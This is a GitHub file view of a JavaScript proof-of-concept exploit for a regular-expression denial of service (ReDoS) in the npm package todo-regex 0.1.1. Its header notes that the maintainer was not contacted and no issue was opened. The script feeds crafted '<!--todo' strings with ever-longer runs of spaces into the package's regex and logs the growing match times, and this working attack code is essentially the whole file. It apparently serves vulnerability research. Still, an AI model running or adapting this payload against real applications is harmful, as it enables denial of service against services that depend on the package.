Permalink
Cannot retrieve contributors at this time
24 lines (19 sloc)
754 Bytes
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
SaveResults/js/todo-regex.js /
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * todo-regex@0.1.1 | |
| * Package Manager: npm | |
| * Link to published package: https://github.com/regexhq/todo-regex | |
| * Link to GitHub repo: https://github.com/regexhq/todo-regex | |
| * Severity level: High | |
| * Module Description: Regular expression for matching TODO statements in a string. | |
| * Additional Info: It allows cause a denial of service when matching crafted invalid TODO statements. | |
| * Contacted maintainer?: No | |
| * Open issue?: No | |
| */ | |
| var re = require('todo-regex'); | |
| for(var i = 1; i <= 500000; i++) { | |
| var time = Date.now(); | |
| const attack_str = '<!--todo '+' '.repeat(i*10000)+'!'; | |
| attack_str.match(re()); | |
| var time_cost = Date.now() - time; | |
| console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms"); | |
| } | |